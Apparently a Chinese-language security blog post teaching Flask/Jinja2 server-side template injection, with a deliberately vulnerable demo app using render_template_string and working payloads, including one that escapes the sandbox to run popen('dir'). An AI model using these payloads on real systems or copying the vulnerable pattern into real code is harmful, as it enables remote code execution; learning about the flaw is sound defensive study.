<!DOCTYPE html>



  


<html class="theme-next gemini use-motion" lang="zh-Hans">
<head><meta name="generator" content="Hexo 3.9.0">
  <meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
<meta name="theme-color" content="#222">



  
  
    
    
  <script src="/lib/pace/pace.min.js?v=1.0.2"></script>
  <link href="/lib/pace/pace-theme-minimal.min.css?v=1.0.2" rel="stylesheet">







<meta http-equiv="Cache-Control" content="no-transform">
<meta http-equiv="Cache-Control" content="no-siteapp">
















  
  
  <link href="/lib/fancybox/source/jquery.fancybox.css?v=2.1.5" rel="stylesheet" type="text/css">




  
  
  
  

  
    
    
  

  

  

  

  

  
    
    
    <link href="//fonts.googleapis.com/css?family=Lato:300,300italic,400,400italic,700,700italic&subset=latin,latin-ext" rel="stylesheet" type="text/css">
  






<link href="/lib/font-awesome/css/font-awesome.min.css?v=4.6.2" rel="stylesheet" type="text/css">

<link href="/css/main.css?v=5.1.4" rel="stylesheet" type="text/css">


  <link rel="apple-touch-icon" sizes="180x180" href="/images/180x180a.png?v=5.1.4">


  <link rel="icon" type="image/png" sizes="32x32" href="/images/32x32a.png?v=5.1.4">


  <link rel="icon" type="image/png" sizes="16x16" href="/images/32x32a.png?v=5.1.4">


  <link rel="mask-icon" href="/images/180x180.svg?v=5.1.4" color="#222">


  <link rel="manifest" href="/images/manifest.json">




  <meta name="keywords" content="web,SSTI,服务端模板注入,python 沙箱逃逸,">





  <link rel="alternate" href="/atom.xml" title="AbelChe's Blog" type="application/atom+xml">






<meta name="description" content="推荐文章 https://portswigger.net/blog/server-side-template-injection 以 flask+jinja2 的 SSTI 为例分析 SSTI">
<meta name="keywords" content="web,SSTI,服务端模板注入,python 沙箱逃逸">
<meta property="og:type" content="article">
<meta property="og:title" content="从 flask+jinjia2 认识 SSTI 服务端模板注入">
<meta property="og:url" content="http://AbelChe.com/2019/07/27/SSTI-服务端模板注入简析/index.html">
<meta property="og:site_name" content="AbelChe&#39;s Blog">
<meta property="og:description" content="推荐文章 https://portswigger.net/blog/server-side-template-injection 以 flask+jinja2 的 SSTI 为例分析 SSTI">
<meta property="og:locale" content="zh-Hans">
<meta property="og:image" content="https://8ke7rw.sn.files.1drv.com/y4maedzleRsLFxdY5nF7fH88VfDC11rTKHBin0_-Havq7y5z6Ptgod5u_uLfRV1AbFpNIQYOpa0OEMa70_bz0tlETO78KV8ZrSqi9I5dGbTXv7Rem3JU-mZPth3QjkMisOsa_nstR_UQKWjGALwA_k9h3KOfJhnZFNRO6EZ66tBaVCs8CZVaK-CiUqzQgFgeZVd0GEgxCheZsVDOQ6plTqGIw?width=807&height=404&cropmode=none">
<meta property="og:image" content="https://q6fbrw.sn.files.1drv.com/y4mejS9j8grOQ9skPUeAFuQviqVH03U4Jm629JbS4g1xWcTj4jtDdlcNQqz44K4k5ii-KhOpmuXUZ7LQa5WtJ2bi1PkGqI4AQtg9VkKysHTwnsI64B8U_MbUQPxJ0E3QJixjF_uc7Uuq-wQK_cWKjH25vpqN-WDW0Vj4taUCjlbroVJQO5yAAsvPWcJfmzg2GJyJl5mR7h7prm0c7iEVrNzWQ?width=807&height=225&cropmode=none">
<meta property="og:image" content="https://q6eqrw.sn.files.1drv.com/y4mzrn1oKK7TVtR_0nKAA4ZWZ44HUBFaDgjaasQK_vFEEIMhZmBV2rixIdbdidKCNnaGePNbUO7rehzcVfguxXfd0h-8rMj_dGMiQQBOOgolqbpuRvG9539YgqFxgS4MJruOyPGjNIIgS0iAJVVsmjL8Tx4vl439ZkcQeFkaj7Zwm43fDatUcK1j5u5h5HJWnyz9J-ioInxnTbMVbjvAk74cg?width=794&height=124&cropmode=none">
<meta property="og:image" content="https://q6eprw.sn.files.1drv.com/y4m4ugGl9-dFBgF75-lHExaiK8nftBMRZPNhgaKt2b02ITX0QOVsbAmRVnk7i2NCECJs83EAZKhO1h9HhWSWWB1oRMGskSi9Ni6PF4Rfxsk6lUmOlCN4K09T91KGfF8B3Y4HIFn6NLO34X5peDNsaeG6nJLJwGvzZVK__Y09lohrP6ZBZeshwkLn6b1TxuLauSDPoMxxFCxys6s4evblSHELA?width=782&height=126&cropmode=none">
<meta property="og:image" content="https://q6e9rw.sn.files.1drv.com/y4mSbC9IGRGhsWFqEbj103mM9rob-omkZheboqp3YYBf7f8ovUBfcrKELCGT8uicJbw2SaepMGbGqW0rorPpCB7nMYP-tO74XJ-CywzEAwG2U5qHfpHGhNyGvHEqgdmwmjYSJoMoFA30vxxMhQsQuq_4n-XSraq0j55RngxrT9uRXE_ib5eUs556k49Q6WRoQoq09ylaaLooZjjl0Kc0gFlpA?width=964&height=301&cropmode=none">
<meta property="og:image" content="https://qqfbrw.sn.files.1drv.com/y4mC8SfgvO41Nysziu5yiFZQ-dgrt4Mbr2yZMxrfNC3uTko0znQgmtGRKsR88IMJeS6ZvumqFUf4bdXlmSiJuDha6mdHMnQUtjXtoHnnvqdyKr2eReNQsC9rSCwx5-HnoJJux1DWNQKn116zCWX8oNtnAijvAUFvJJKOLwVY-dnVKr83QH4RqHm8Tfrpts7soJfxYpJWPfE0ZnvyR-VFljxnA?width=503&height=114&cropmode=none">
<meta property="og:image" content="https://qqfarw.sn.files.1drv.com/y4mIdxNYH1oYncJxtIE5v-fRFeQLkpWyC3RYajOrHIyvd3PpJltEW-KAqloU2F3B3U921-1oCcOPmnlHH9RDgKig-_TNmPPK2fzRKOtJpsaGrl_g9tQypX11SAgSBJI1kqY9bE7JPL5Nf-2FiE-aAMPEslrtYAG19QGkV3S2DGF65MPFRVm7S75-UkxvbZFZlAdabwjDo0CygG_l7ZSB3AIlg?width=1909&height=138&cropmode=none">
<meta property="og:image" content="https://q6fcrw.sn.files.1drv.com/y4myLNDZak2pCjhPIenf32kI7a3LLRkhH0Ir5BIv4Ffn6A7hmtH7rKKPjLPQ5H-n1Ehzisv7N3J1cZI3HxPSTIOguXF95B3z7i0AYW1DKfqLhEg-u6rZmPuu0Ro6T2tu14uOotDOS96PD-n60n7e4v6uquf8rquH1i5InQPcbnZld8TN1C2_MhZckiTGHFXJOWIakiBMEpaCHvJkF2TaFXVYw?width=640&height=386&cropmode=none">
<meta property="og:image" content="https://q6farw.sn.files.1drv.com/y4mU28XYNAZtf0cR4k__c2hnFenGREBawUThRvg9Z66f12ZGgEZVVXiZ36jaTDITgiGpeigBlYklGeMGdAdF3jURQF7wZUu4vYHm7W3mC8MBJwkWPuBvVDwfzycHnCjGI3cw-dwI7JaMcb1-ggC_TJJlpN5x91SebR47n9pzx_CijUxd4B9_ScNkJZMeGO-IHN4pSKgvSpbhA1ax8YnYrnzaQ?width=732&height=835&cropmode=none">
<meta property="og:updated_time" content="2019-09-10T11:02:54.906Z">
<meta name="twitter:card" content="summary">
<meta name="twitter:title" content="从 flask+jinjia2 认识 SSTI 服务端模板注入">
<meta name="twitter:description" content="推荐文章 https://portswigger.net/blog/server-side-template-injection 以 flask+jinja2 的 SSTI 为例分析 SSTI">
<meta name="twitter:image" content="https://8ke7rw.sn.files.1drv.com/y4maedzleRsLFxdY5nF7fH88VfDC11rTKHBin0_-Havq7y5z6Ptgod5u_uLfRV1AbFpNIQYOpa0OEMa70_bz0tlETO78KV8ZrSqi9I5dGbTXv7Rem3JU-mZPth3QjkMisOsa_nstR_UQKWjGALwA_k9h3KOfJhnZFNRO6EZ66tBaVCs8CZVaK-CiUqzQgFgeZVd0GEgxCheZsVDOQ6plTqGIw?width=807&height=404&cropmode=none">



<script type="text/javascript" id="hexo.configurations">
  var NexT = window.NexT || {};
  var CONFIG = {
    root: '/',
    scheme: 'Gemini',
    version: '5.1.4',
    sidebar: {"position":"left","display":"hide","offset":12,"b2t":false,"scrollpercent":true,"onmobile":true},
    fancybox: true,
    tabs: true,
    motion: {"enable":true,"async":false,"transition":{"post_block":"slideLeftIn","post_header":"fadeIn","post_body":"fadeIn","coll_header":"fadeIn","sidebar":"slideDownIn"}},
    duoshuo: {
      userId: '0',
      author: '博主'
    },
    algolia: {
      applicationID: '',
      apiKey: '',
      indexName: '',
      hits: {"per_page":10},
      labels: {"input_placeholder":"Search for Posts","hits_empty":"We didn't find any results for the search: ${query}","hits_stats":"${hits} results found in ${time} ms"}
    }
  };
</script>



  <link rel="canonical" href="http://AbelChe.com/2019/07/27/SSTI-服务端模板注入简析/">





  <title>从 flask+jinjia2 认识 SSTI 服务端模板注入 | AbelChe's Blog</title>
  








</head>

<body itemscope itemtype="http://schema.org/WebPage" lang="zh-Hans">

  
  
    
  

  <div class="container sidebar-position-left page-post-detail">
    <div class="headband"></div>

    <header id="header" class="header" itemscope itemtype="http://schema.org/WPHeader">
      <div class="header-inner"><div class="site-brand-wrapper">
  <div class="site-meta custom-logo">
    

    <div class="custom-logo-site-title">
      <a href="/" class="brand" rel="start">
        <span class="logo-line-before"><i></i></span>
        <span class="site-title">AbelChe's Blog</span>
        <span class="logo-line-after"><i></i></span>
      </a>
    </div>
      
        <h1 class="site-subtitle" itemprop="description">Youth means limitless possibilities.</h1>
      
  </div>

  <div class="site-nav-toggle">
    <button>
      <span class="btn-bar"></span>
      <span class="btn-bar"></span>
      <span class="btn-bar"></span>
    </button>
  </div>
</div>

<nav class="site-nav">
  

  
    <ul id="menu" class="menu">
      
        
        <li class="menu-item menu-item-home">
          <a href="/" rel="section">
            
              <i class="menu-item-icon fa fa-fw fa-home"></i> <br>
            
            首页
          </a>
        </li>
      
        
        <li class="menu-item menu-item-about">
          <a href="/about/" rel="section">
            
              <i class="menu-item-icon fa fa-fw fa-user"></i> <br>
            
            关于
          </a>
        </li>
      
        
        <li class="menu-item menu-item-tags">
          <a href="/tags/" rel="section">
            
              <i class="menu-item-icon fa fa-fw fa-tags"></i> <br>
            
            标签
          </a>
        </li>
      
        
        <li class="menu-item menu-item-categories">
          <a href="/categories/" rel="section">
            
              <i class="menu-item-icon fa fa-fw fa-th"></i> <br>
            
            分类
          </a>
        </li>
      
        
        <li class="menu-item menu-item-archives">
          <a href="/archives/" rel="section">
            
              <i class="menu-item-icon fa fa-fw fa-archive"></i> <br>
            
            归档
          </a>
        </li>
      
        
        <li class="menu-item menu-item-在线运行">
          <a href="/runcode/" rel="section">
            
              <i class="menu-item-icon fa fa-fw fa-code"></i> <br>
            
            在线运行
          </a>
        </li>
      
        
        <li class="menu-item menu-item-友链">
          <a href="/friends/" rel="section">
            
              <i class="menu-item-icon fa fa-fw fa-at"></i> <br>
            
            友链
          </a>
        </li>
      
        
        <li class="menu-item menu-item-sitemap">
          <a href="/sitemap.xml" rel="section">
            
              <i class="menu-item-icon fa fa-fw fa-sitemap"></i> <br>
            
            站点地图
          </a>
        </li>
      

      
        <li class="menu-item menu-item-search">
          
            <a href="javascript:;" class="popup-trigger">
          
            
              <i class="menu-item-icon fa fa-search fa-fw"></i> <br>
            
            搜索
          </a>
        </li>
      
    </ul>
  

  
    <div class="site-search">
      
  <div class="popup search-popup local-search-popup">
  <div class="local-search-header clearfix">
    <span class="search-icon">
      <i class="fa fa-search"></i>
    </span>
    <span class="popup-btn-close">
      <i class="fa fa-times-circle"></i>
    </span>
    <div class="local-search-input-wrapper">
      <input autocomplete="off" placeholder="搜索..." spellcheck="false" type="text" id="local-search-input">
    </div>
  </div>
  <div id="local-search-result"></div>
</div>



    </div>
  
</nav>

<link rel="manifest" href="/manifest.json">

 </div>
    </header>

    <main id="main" class="main">
      <div class="main-inner">
        <div class="content-wrap">
          <div id="content" class="content">
            

  <div id="posts" class="posts-expand">
    

  

  
  
  

  <article class="post post-type-normal" itemscope itemtype="http://schema.org/Article">
  
  
  
  <div class="post-block">
    <link itemprop="mainEntityOfPage" href="http://AbelChe.com/2019/07/27/SSTI-服务端模板注入简析/">

    <span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
      <meta itemprop="name" content="AbelChe">
      <meta itemprop="description" content>
      <meta itemprop="image" content="/uploads/images/head.png">
    </span>

    <span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
      <meta itemprop="name" content="AbelChe's Blog">
    </span>

    
      <header class="post-header">

        
        
          <h2 class="post-title" itemprop="name headline">从 flask+jinjia2 认识 SSTI 服务端模板注入</h2>
        

        <div class="post-meta">
          
          <span class="post-time">
            
              <span class="post-meta-item-icon">
                <i class="fa fa-calendar-o"></i>
              </span>
              
                <span class="post-meta-item-text">发表于</span>
              
              <time title="创建于" itemprop="dateCreated datePublished" datetime="2019-07-27T14:45:17+08:00">
                2019-07-27
              </time>
            

            
              <span class="post-meta-divider">|</span>
            

            
              <span class="post-meta-item-icon">
                <i class="fa fa-calendar-check-o"></i>
              </span>
              
                <span class="post-meta-item-text">更新于&#58;</span>
              
              <time title="更新于" itemprop="dateModified" datetime="2019-09-10T19:02:54+08:00">
                2019-09-10
              </time>
            
          </span>

          
            <span class="post-category">
            
              <span class="post-meta-divider">|</span>
            
              <span class="post-meta-item-icon">
                <i class="fa fa-folder-o"></i>
              </span>
              
                <span class="post-meta-item-text">分类于</span>
              
              
                <span itemprop="about" itemscope itemtype="http://schema.org/Thing">
                  <a href="/categories/Learning/" itemprop="url" rel="index">
                    <span itemprop="name">Learning</span>
                  </a>
                </span>

                
                
              
            </span>
          

          
            
              <span class="post-comments-count">
                <span class="post-meta-divider">|</span>
                <span class="post-meta-item-icon">
                  <i class="fa fa-comment-o"></i>
                </span>
                <a href="/2019/07/27/SSTI-服务端模板注入简析/#comments" itemprop="discussionUrl">
                  <span class="post-comments-count valine-comment-count" data-xid="/2019/07/27/SSTI-服务端模板注入简析/" itemprop="commentCount"></span>
                </a>
              </span>
            
          

          
          

          
            <span class="post-meta-divider">|</span>
            <span class="page-pv"><i class="fa fa-file-o"></i> 阅读数
            <span class="busuanzi-value" id="busuanzi_value_page_pv"></span>
            </span>
          

          
            <div class="post-wordcount">
              
                
                <span class="post-meta-item-icon">
                  <i class="fa fa-file-word-o"></i>
                </span>
                
                  <span class="post-meta-item-text">字数统计&#58;</span>
                
                <span title="字数统计">
                  2,148 字
                </span>
              

              
                <span class="post-meta-divider">|</span>
              

              
                <span class="post-meta-item-icon">
                  <i class="fa fa-clock-o"></i>
                </span>
                
                  <span class="post-meta-item-text">阅读时长 &asymp;</span>
                
                <span title="阅读时长">
                  10 分钟
                </span>
              
            </div>
          

          

        </div>
      </header>
    

    
    
    
    <div class="post-body" itemprop="articleBody">

      
      

      
        <p><img src="https://8ke7rw.sn.files.1drv.com/y4maedzleRsLFxdY5nF7fH88VfDC11rTKHBin0_-Havq7y5z6Ptgod5u_uLfRV1AbFpNIQYOpa0OEMa70_bz0tlETO78KV8ZrSqi9I5dGbTXv7Rem3JU-mZPth3QjkMisOsa_nstR_UQKWjGALwA_k9h3KOfJhnZFNRO6EZ66tBaVCs8CZVaK-CiUqzQgFgeZVd0GEgxCheZsVDOQ6plTqGIw?width=807&height=404&cropmode=none" alt></p>
<p>推荐文章 <a href="https://portswigger.net/blog/server-side-template-injection" target="_blank" rel="noopener">https://portswigger.net/blog/server-side-template-injection</a></p>
<p>以 flask+jinja2 的 SSTI 为例分析 SSTI</p>
<a id="more"></a>

<h1 id="SSTI"><a href="#SSTI" class="headerlink" title="SSTI"></a>SSTI</h1><p>SSTI (Server-Side Template Injection) 服务端模板注入，那么要先了解模板是什么</p>
<h2 id="模板"><a href="#模板" class="headerlink" title="模板"></a>模板</h2><p>首先我们先讲解下什么是模板引擎，为什么需要模板，模板引擎可以让(网站)程序实现界面与数据分离，业务代码与逻辑代码的分离，这大大提升了开发效率，良好的设计也使得代码重用变得更加容易。但是往往新的开发都会导致一些安全问题，虽然模板引擎会提供沙箱机制，但同样存在沙箱逃逸技术来绕过。</p>
<p>模板只是一种提供给程序来解析的一种语法，换句话说，模板是用于从数据(变量)到实际的视觉表现(HTML代码)这项工作的一种实现手段，而这种手段不论在前端还是后端都有应用。</p>
<p>通俗点理解:拿到数据，塞到模板里，然后让渲染引擎将赛进去的东西生成 html 的文本，返回给浏览器，这样做的好处展示数据快，大大提升效率。</p>
<p>后端渲染:浏览器会直接接收到经过服务器计算之后的呈现给用户的最终的HTML字符串，计算就是服务器后端经过解析服务器端的模板来完成的，后端渲染的好处是对前端浏览器的压力较小，主要任务在服务器端就已经完成。</p>
<p>前端渲染:前端渲染相反，是浏览器从服务器得到信息，可能是json等数据包封装的数据，也可能是html代码，他都是由浏览器前端来解析渲染成html的人们可视化的代码而呈现在用户面前，好处是对于服务器后端压力较小，主要渲染在用户的客户端完成。</p>
<p>举个例子:(django)</p>
<blockquote>
<p>前端代码:index.html</p>
</blockquote>
<figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">html</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">div</span>&gt;</span>&#123;&#123; message &#125;&#125;<span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">html</span>&gt;</span></span><br></pre></td></tr></table></figure>

<blockquote>
<p>后端代码:view.py</p>
</blockquote>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">index</span><span class="params">(request)</span>:</span></span><br><span class="line">	data = &#123;</span><br><span class="line">		<span class="string">'message'</span>: <span class="string">'hello world'</span>,</span><br><span class="line">	&#125;</span><br><span class="line">	<span class="keyword">return</span> render(request, <span class="string">'index.html'</span>, data)</span><br></pre></td></tr></table></figure>

<p>那么当我们去访问 index.html 这个页面的时候页面从后端拿到message的数据<br>呈现给用户的页面显示为:</p>
<figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">html</span>&gt;</span></span><br><span class="line">	<span class="tag">&lt;<span class="name">div</span>&gt;</span>hello world<span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">html</span>&gt;</span></span><br></pre></td></tr></table></figure>

<h2 id="SSTI-1"><a href="#SSTI-1" class="headerlink" title="SSTI"></a>SSTI</h2><p>web 应用程序通过使用模板在网页中嵌入动态内容，那么如果显示的内容是用户可控的，可能首先会想到 XSS ，而存在 XSS 的地方很有可能存在 SSTI</p>
<p><img src="https://q6fbrw.sn.files.1drv.com/y4mejS9j8grOQ9skPUeAFuQviqVH03U4Jm629JbS4g1xWcTj4jtDdlcNQqz44K4k5ii-KhOpmuXUZ7LQa5WtJ2bi1PkGqI4AQtg9VkKysHTwnsI64B8U_MbUQPxJ0E3QJixjF_uc7Uuq-wQK_cWKjH25vpqN-WDW0Vj4taUCjlbroVJQO5yAAsvPWcJfmzg2GJyJl5mR7h7prm0c7iEVrNzWQ?width=807&height=225&cropmode=none" alt></p>
<h2 id="本地测试-flask-jinja2"><a href="#本地测试-flask-jinja2" class="headerlink" title="本地测试(flask + jinja2)"></a>本地测试(flask + jinja2)</h2><p>新建一个 flask 项目:</p>
<blockquote>
<p>app.py</p>
</blockquote>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> flask <span class="keyword">import</span> Flask, request, render_template, render_template_string</span><br><span class="line">app = Flask(__name__)</span><br><span class="line"></span><br><span class="line"><span class="meta">@app.route('/hello/&lt;name&gt;')</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">hello_world</span><span class="params">(name)</span>:</span></span><br><span class="line">	<span class="keyword">return</span> render_template(<span class="string">'welcome.html'</span>, name=name)</span><br><span class="line"></span><br><span class="line"><span class="meta">@app.route('/h/&lt;name&gt;', methods=['GET', 'POST'])</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">hello</span><span class="params">(name)</span>:</span></span><br><span class="line">    template = <span class="string">'''</span></span><br><span class="line"><span class="string">        &lt;div&gt;</span></span><br><span class="line"><span class="string">            &lt;h3&gt;hello %s&lt;/h3&gt;</span></span><br><span class="line"><span class="string">        &lt;/div&gt;</span></span><br><span class="line"><span class="string">        '''</span> % name</span><br><span class="line">    <span class="keyword">return</span> render_template_string(template)</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">'__main__'</span>:</span><br><span class="line">    app.run(</span><br><span class="line">        host=<span class="string">'127.0.0.1'</span>,</span><br><span class="line">        port=<span class="number">8000</span></span><br><span class="line">    )</span><br></pre></td></tr></table></figure>

<blockquote>
<p>index.html</p>
</blockquote>
<figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;!DOCTYPE html&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">html</span> <span class="attr">lang</span>=<span class="string">"en"</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">head</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">meta</span> <span class="attr">charset</span>=<span class="string">"UTF-8"</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">title</span>&gt;</span>this is a SSTI test<span class="tag">&lt;/<span class="name">title</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">head</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">body</span>&gt;</span></span><br><span class="line">	<span class="tag">&lt;<span class="name">div</span>&gt;</span></span><br><span class="line">		<span class="tag">&lt;<span class="name">h3</span>&gt;</span>hello &#123;&#123; name &#125;&#125;<span class="tag">&lt;/<span class="name">h3</span>&gt;</span></span><br><span class="line">	<span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">body</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">html</span>&gt;</span></span><br></pre></td></tr></table></figure>

<p>结果如图:</p>
<p><img src="https://q6eqrw.sn.files.1drv.com/y4mzrn1oKK7TVtR_0nKAA4ZWZ44HUBFaDgjaasQK_vFEEIMhZmBV2rixIdbdidKCNnaGePNbUO7rehzcVfguxXfd0h-8rMj_dGMiQQBOOgolqbpuRvG9539YgqFxgS4MJruOyPGjNIIgS0iAJVVsmjL8Tx4vl439ZkcQeFkaj7Zwm43fDatUcK1j5u5h5HJWnyz9J-ioInxnTbMVbjvAk74cg?width=794&height=124&cropmode=none" alt></p>
<p><img src="https://q6eprw.sn.files.1drv.com/y4m4ugGl9-dFBgF75-lHExaiK8nftBMRZPNhgaKt2b02ITX0QOVsbAmRVnk7i2NCECJs83EAZKhO1h9HhWSWWB1oRMGskSi9Ni6PF4Rfxsk6lUmOlCN4K09T91KGfF8B3Y4HIFn6NLO34X5peDNsaeG6nJLJwGvzZVK__Y09lohrP6ZBZeshwkLn6b1TxuLauSDPoMxxFCxys6s4evblSHELA?width=782&height=126&cropmode=none" alt></p>
<p>明显 flask 返回模板字符串的存在 XSS</p>
<p>第一个没有触发XSS的原因就是模板对符号进行了编码即用户对此不可控</p>
<p><img src="https://q6e9rw.sn.files.1drv.com/y4mSbC9IGRGhsWFqEbj103mM9rob-omkZheboqp3YYBf7f8ovUBfcrKELCGT8uicJbw2SaepMGbGqW0rorPpCB7nMYP-tO74XJ-CywzEAwG2U5qHfpHGhNyGvHEqgdmwmjYSJoMoFA30vxxMhQsQuq_4n-XSraq0j55RngxrT9uRXE_ib5eUs556k49Q6WRoQoq09ylaaLooZjjl0Kc0gFlpA?width=964&height=301&cropmode=none" alt></p>
<p>继续在触发 XSS 的点进行 SSTI 测试:<br>最简单的 payload : </p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#123;&#123;<span class="number">12312</span>*<span class="number">213</span>&#125;&#125;</span><br></pre></td></tr></table></figure>

<p><img src="https://qqfbrw.sn.files.1drv.com/y4mC8SfgvO41Nysziu5yiFZQ-dgrt4Mbr2yZMxrfNC3uTko0znQgmtGRKsR88IMJeS6ZvumqFUf4bdXlmSiJuDha6mdHMnQUtjXtoHnnvqdyKr2eReNQsC9rSCwx5-HnoJJux1DWNQKn116zCWX8oNtnAijvAUFvJJKOLwVY-dnVKr83QH4RqHm8Tfrpts7soJfxYpJWPfE0ZnvyR-VFljxnA?width=503&height=114&cropmode=none" alt><br>代码执行成功<br>试下查看目录，payload:</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#123;&#123;<span class="string">''</span>.__class__.__bases__[<span class="number">0</span>].__subclasses__()[<span class="number">128</span>].__init__.__globals__[<span class="string">'popen'</span>](<span class="string">'dir'</span>).read()&#125;&#125;</span><br></pre></td></tr></table></figure>

<p><img src="https://qqfarw.sn.files.1drv.com/y4mIdxNYH1oYncJxtIE5v-fRFeQLkpWyC3RYajOrHIyvd3PpJltEW-KAqloU2F3B3U921-1oCcOPmnlHH9RDgKig-_TNmPPK2fzRKOtJpsaGrl_g9tQypX11SAgSBJI1kqY9bE7JPL5Nf-2FiE-aAMPEslrtYAG19QGkV3S2DGF65MPFRVm7S75-UkxvbZFZlAdabwjDo0CygG_l7ZSB3AIlg?width=1909&height=138&cropmode=none" alt><br>getshell 什么的也不用多说了</p>
<h1 id="python-常用内建属性"><a href="#python-常用内建属性" class="headerlink" title="python 常用内建属性"></a>python 常用内建属性</h1><h2 id="class"><a href="#class" class="headerlink" title="__class__"></a>__class__</h2><p>__class__ 可以用来查看对象的类型,返回值为 type</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&gt;&gt;&gt; </span><span class="string">''</span>.__class__</span><br><span class="line">&lt;<span class="class"><span class="keyword">class</span> '<span class="title">str</span>'&gt;</span></span><br><span class="line"><span class="class">&gt;&gt;&gt; [].<span class="title">__class__</span></span></span><br><span class="line"><span class="class">&lt;<span class="title">class</span> '<span class="title">list</span>'&gt;</span></span><br><span class="line"><span class="class">&gt;&gt;&gt; ''.<span class="title">__class__</span>.<span class="title">__class__</span></span></span><br><span class="line"><span class="class">&lt;<span class="title">class</span> '<span class="title">type</span>'&gt;</span></span><br></pre></td></tr></table></figure>

<h2 id="bases"><a href="#bases" class="headerlink" title="__bases__"></a>__bases__</h2><p>__bases__ 可以列出该类的基类，返回值为 tuple</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&gt;&gt;&gt; </span><span class="string">''</span>.__class__.__bases__</span><br><span class="line">(&lt;class 'object'&gt;,)</span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span><span class="string">''</span>.__class__.__bases__[<span class="number">0</span>]</span><br><span class="line">&lt;<span class="class"><span class="keyword">class</span> '<span class="title">object</span>'&gt;</span></span><br><span class="line"><span class="class">&gt;&gt;&gt; ''.<span class="title">__class__</span>.<span class="title">__bases__</span>.<span class="title">__class__</span></span></span><br><span class="line"><span class="class">&lt;<span class="title">class</span> '<span class="title">tuple</span>'&gt;</span></span><br></pre></td></tr></table></figure>

<h2 id="mro"><a href="#mro" class="headerlink" title="__mro__"></a>__mro__</h2><p>__mro__ 给出了 method resolution order ，即<strong>解析方法调用的顺序</strong>， 返回值为 tuple</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&gt;&gt;&gt; </span><span class="string">''</span>.__class__.__mro__</span><br><span class="line">(&lt;class 'str'&gt;, &lt;class 'object'&gt;)</span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span><span class="string">''</span>.__class__.__class__.__mro__</span><br><span class="line">(&lt;class 'type'&gt;, &lt;class 'object'&gt;)</span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span><span class="string">''</span>.__class__.__mro__.__class__</span><br><span class="line">&lt;<span class="class"><span class="keyword">class</span> '<span class="title">tuple</span>'&gt;</span></span><br></pre></td></tr></table></figure>

<h2 id="subclasses"><a href="#subclasses" class="headerlink" title="__subclasses__()"></a>__subclasses__()</h2><p>__subclasses__() 用于获取一个类的子类，返回值为 list</p>
<p>而__subclasses__ 的返回值则是 python 内建方法 builtin_function_or_method</p>
